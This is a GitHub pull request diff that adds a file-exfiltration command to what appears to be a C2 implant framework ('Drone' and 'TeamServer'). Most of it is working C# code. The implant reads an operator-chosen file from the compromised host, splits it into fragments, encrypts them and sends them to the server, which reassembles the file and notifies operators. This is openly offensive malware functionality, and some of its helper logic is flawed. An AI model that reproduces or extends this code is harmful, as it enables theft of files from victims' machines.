Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add Exfiltration command with notification methods with fragments #18

Open
wants to merge 1 commit into
base: main
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
9 changes: 9 additions & 0 deletions Client/Commands/Enumeration.yaml
Original file line number Diff line number Diff line change
Expand Up @@ -77,4 +77,13 @@
Output: 1
Arguments:
- Key: pid
Optional: false

- Alias: exfiltration
Description: exfiltrate a file
Command: 32
Arguments:
- Key: filepath
Optional: false
- Key: fragmentSize
Optional: false
3 changes: 2 additions & 1 deletion Client/Services/CommandService.cs
Original file line number Diff line number Diff line change
Expand Up @@ -18,7 +18,8 @@ public CommandService()
var root = Path.GetDirectoryName(Assembly.GetExecutingAssembly().Location);
var directory = Path.Combine(root, "Commands");
#endif

var root = Path.GetDirectoryName(Assembly.GetExecutingAssembly().Location);
directory = Path.Combine(root, "Commands");
var files = Directory.EnumerateFiles(directory, "*.yaml");
var deserializer = new Deserializer();

Expand Down
83 changes: 83 additions & 0 deletions Drone/Commands/Exfiltration.cs
Original file line number Diff line number Diff line change
@@ -0,0 +1,83 @@
using System.Net.Http;
using System;
using System.Threading;
using System.Threading.Tasks;

using Drone.CommModules;
using System.IO;
using System.Security.Policy;

namespace Drone.Commands;

public sealed class Exfiltration : DroneCommand
{
public override byte Command => 0x20;
public override bool Threaded => true;

public override async Task Execute(DroneTask task, CancellationToken cancellationToken)
{

var filePath = task.Arguments["filepath"];
var fragmentSize = int.Parse(task.Arguments["fragmentSize"]);
//send how many fragments will be sent
FileInfo fileInfo = new FileInfo(filePath);
var exfiltrateMetadata = new ExfilrateMetadata()
{
TaskId = task.Id,
FileFullPath = filePath,
Size = fileInfo.Length
};
await Drone.SendC2Frame(new C2Frame()
{
DroneId = Drone._metadata.Id,
Type = FrameType.EXFILTRATION_METADATA,
Data = Crypto.Encrypt(exfiltrateMetadata)
});
var data = File.ReadAllBytes(filePath);
var fragmentedData = CreateFragmentedFile(data, fragmentSize);
foreach (var (contentRangeValue, content) in fragmentedData)
{
var fragmentMetadata = new FragmentMetadata()
{
TaskId = task.Id,
ContentRange = contentRangeValue,
Content = content
};
await Drone.SendC2Frame(new C2Frame()
{
DroneId = Drone._metadata.Id,
Type = FrameType.EXFILTRATION_FRAGMENT,
Data = Crypto.Encrypt(fragmentMetadata)
});
}

}

private (string, byte[])[] CreateFragmentedFile(byte[] requestData, int fragmentSize)
{
int totalFragments = (int)Math.Ceiling((double)requestData.Length / fragmentSize);
var requests = new (string, byte[])[totalFragments];

for (int i = 0; i < totalFragments; i++)
{
int offset = i * fragmentSize;
int length = Math.Min(fragmentSize, requestData.Length - offset);

byte[] fragmentData = new byte[length];
Array.Copy(requestData, offset, fragmentData, 0, length);

var content = (fragmentData);

// Calculate the range for the current fragment
long rangeStart = offset;
long rangeEnd = offset + length - 1;

// Create the value for the Content-Range header
string contentRangeValue = $"bytes {rangeStart}-{rangeEnd}/{requestData.Length}";

requests[i] = (contentRangeValue, content);
}

return requests;
}
}
4 changes: 2 additions & 2 deletions Drone/Drone.cs
Original file line number Diff line number Diff line change
Expand Up @@ -18,7 +18,7 @@ public sealed class Drone
{
public Config Config { get; } = new();

private Metadata _metadata;
public Metadata _metadata;
private CommModule _commModule;

private readonly CancellationTokenSource _token = new();
Expand Down Expand Up @@ -613,7 +613,7 @@ public async Task SendTaskOutput(TaskOutput output)
await SendC2Frame(frame);
}

private async Task SendC2Frame(C2Frame frame)
public async Task SendC2Frame(C2Frame frame)
{
// lol bit silly
switch (_commModule)
Expand Down
342 changes: 172 additions & 170 deletions Drone/Drone.csproj

Large diffs are not rendered by default.

2 changes: 2 additions & 0 deletions Drone/Messages/C2Frame.cs
Original file line number Diff line number Diff line change
Expand Up @@ -37,5 +37,7 @@ public enum FrameType
SOCKS_PROXY,
LINK,
UNLINK,
EXFILTRATION_METADATA,
EXFILTRATION_FRAGMENT,
EXIT
}
27 changes: 27 additions & 0 deletions Drone/Messages/ExfilrateMetadata.cs
Original file line number Diff line number Diff line change
@@ -0,0 +1,27 @@
using System;
using System.Linq;
using System.Net;
using System.Net.Sockets;
using System.Security.Principal;
using System.Threading.Tasks;

using Drone.Utilities;

using ProtoBuf;

namespace Drone.Messages;

[ProtoContract]
public sealed class ExfilrateMetadata
{
[ProtoMember(1)]
public string TaskId { get; set; }

[ProtoMember(2)]
public string FileFullPath { get; set; }

[ProtoMember(3)]
public long Size { get; set; }

}

27 changes: 27 additions & 0 deletions Drone/Messages/FragmentMetadata.cs
Original file line number Diff line number Diff line change
@@ -0,0 +1,27 @@
using System;
using System.Linq;
using System.Net;
using System.Net.Sockets;
using System.Security.Principal;
using System.Threading.Tasks;

using Drone.Utilities;

using ProtoBuf;

namespace Drone.Messages;

[ProtoContract]
public sealed class FragmentMetadata
{
[ProtoMember(1)]
public string TaskId { get; set; }

[ProtoMember(2)]
public string ContentRange { get; set; }

[ProtoMember(3)]
public byte[] Content { get; set; }

}

7 changes: 7 additions & 0 deletions TeamServer/Hubs/INotificationHub.cs
Original file line number Diff line number Diff line change
Expand Up @@ -71,4 +71,11 @@ public interface INotificationHub
Task WebhookDeleted(string name);

#endregion

#region Exfiltration
Task ExfiltrateStarted(string taskId);
Task ExfiltrateStopped(string taskId);
Task ExfiltratePrograss(string taskId,int current ,int total);
Task ExfiltrateFinished(string taskId);
#endregion
}
16 changes: 16 additions & 0 deletions TeamServer/Interfaces/IExfiltrationService.cs
Original file line number Diff line number Diff line change
@@ -0,0 +1,16 @@
using TeamServer.Handlers;
using TeamServer.Messages;

namespace TeamServer.Interfaces;

public interface IExfiltrationService
{
Task AddExfiltration(ExfilrateMetadata metadata);
Task<IEnumerable<ExfilrateMetadata>> GetExfilrates();
Task<ExfilrateMetadata> GetExfilrate(string taskId);



Task AddFragment(FragmentMetadata metadata);
Task<IEnumerable<FragmentMetadata>> GetAllFragments(string taskId);
}
2 changes: 2 additions & 0 deletions TeamServer/Messages/C2Frame.cs
Original file line number Diff line number Diff line change
Expand Up @@ -37,5 +37,7 @@ public enum FrameType
SOCKS_PROXY,
LINK,
UNLINK,
EXFILTRATION_METADATA,
EXFILTRATION_FRAGMENT,
EXIT
}
19 changes: 19 additions & 0 deletions TeamServer/Messages/ExfiltrationMetadata.cs
Original file line number Diff line number Diff line change
@@ -0,0 +1,19 @@
using ProtoBuf;

using TeamServer.Tasks;

namespace TeamServer.Messages;

[ProtoContract]
public sealed class ExfilrateMetadata
{
[ProtoMember(1)]
public string TaskId { get; set; }

[ProtoMember(2)]
public string FileFullPath { get; set; }

[ProtoMember(3)]
public long Size { get; set; }

}
19 changes: 19 additions & 0 deletions TeamServer/Messages/FragmentMetadata.cs
Original file line number Diff line number Diff line change
@@ -0,0 +1,19 @@
using ProtoBuf;

using TeamServer.Tasks;

namespace TeamServer.Messages;

[ProtoContract]
public sealed class FragmentMetadata
{
[ProtoMember(1)]
public string TaskId { get; set; }

[ProtoMember(2)]
public string ContentRange { get; set; }

[ProtoMember(3)]
public byte[] Content { get; set; }

}
5 changes: 3 additions & 2 deletions TeamServer/Messages/TaskOutput.cs
Original file line number Diff line number Diff line change
Expand Up @@ -17,6 +17,7 @@ public sealed class TaskOutput

public enum TaskStatus
{
COMPLETE,
ABORTED
RUNNING = 2,
COMPLETE = 3,
ABORTED = 4
}
17 changes: 17 additions & 0 deletions TeamServer/Modules/ExfiltrationModule.cs
Original file line number Diff line number Diff line change
@@ -0,0 +1,17 @@
using TeamServer.Drones;
using TeamServer.Messages;

namespace TeamServer.Modules;

public sealed class ExfiltrationModule : ServerModule
{
public override FrameType FrameType => FrameType.EXFILTRATION_METADATA;

public override async Task ProcessFrame(C2Frame frame)
{
var metadata = await Crypto.Decrypt<ExfilrateMetadata>(frame.Data);
await ExfiltrationService.AddExfiltration(metadata);
await Hub.Clients.All.ExfiltrateStarted(metadata.TaskId);

}
}
93 changes: 93 additions & 0 deletions TeamServer/Modules/FragmentsModule.cs
Original file line number Diff line number Diff line change
@@ -0,0 +1,93 @@
using TeamServer.Drones;
using TeamServer.Messages;

namespace TeamServer.Modules;

public sealed class FragmentsModule : ServerModule
{
public override FrameType FrameType => FrameType.EXFILTRATION_FRAGMENT;

public override async Task ProcessFrame(C2Frame frame)
{
var metadata = await Crypto.Decrypt<FragmentMetadata>(frame.Data);
// Store the fragment data in the database
await ExfiltrationService.AddFragment(metadata);
await Hub.Clients.All.ExfiltratePrograss(metadata.TaskId,GetFragmentIndex(metadata),GetTotalFragments(metadata));
// Check if the last fragment has been received
if (IsLastFragment(metadata.ContentRange))
{
// Reassemble the fragmented request
var fragments = await ExfiltrationService.GetAllFragments(metadata.TaskId);
var reassembledfragments = ReassembleFragments(fragments.ToArray());
var record = await Tasks.Get(metadata.TaskId);
record.Update(new TaskOutput()
{
TaskId = metadata.TaskId,
Status = Messages.TaskStatus.RUNNING,
Output = reassembledfragments,
});
await Tasks.Update(record);
await Hub.Clients.All.ExfiltrateFinished(metadata.TaskId);
}
}
private int GetTotalFragments(FragmentMetadata metadata)
{
var contentRange = metadata.ContentRange;
var parts = contentRange.Split('/');
if (parts.Length == 2 && int.TryParse(parts[1], out var totalLength))
{
return totalLength;
}

return -1;
}
private int GetFragmentIndex(FragmentMetadata metadata)
{
var contentRange = metadata.ContentRange;
var rangeInfo = contentRange.Replace("bytes ", "").Split('-');
if (rangeInfo.Length == 2 && int.TryParse(rangeInfo[0], out var rangeStart))
{
return rangeStart;
}

return -1;
}
private byte[] ReassembleFragments(FragmentMetadata[] fragments)
{
int totalLength = 0;
foreach (FragmentMetadata fragment in fragments)
{
totalLength += fragment.Content.Length;
}

byte[] requestData = new byte[totalLength];
int offset = 0;

foreach (FragmentMetadata fragment in fragments)
{
Array.Copy(fragment.Content, 0, requestData, offset, fragment.Content.Length);
offset += fragment.Content.Length;
}

return requestData;
}
private bool IsLastFragment(string range)
{
var contentRange = range;
if (!string.IsNullOrEmpty(contentRange))
{
var parts = contentRange.Split('/');
if (parts.Length == 2)
{
var rangeInfo = parts[0].Replace("bytes ", "").Split('-');
if (rangeInfo.Length == 2 && long.TryParse(rangeInfo[1], out var rangeEnd))
{
var totalLength = long.Parse(parts[1]);
return rangeEnd == totalLength - 1;
}
}
}

return false;
}
}
Loading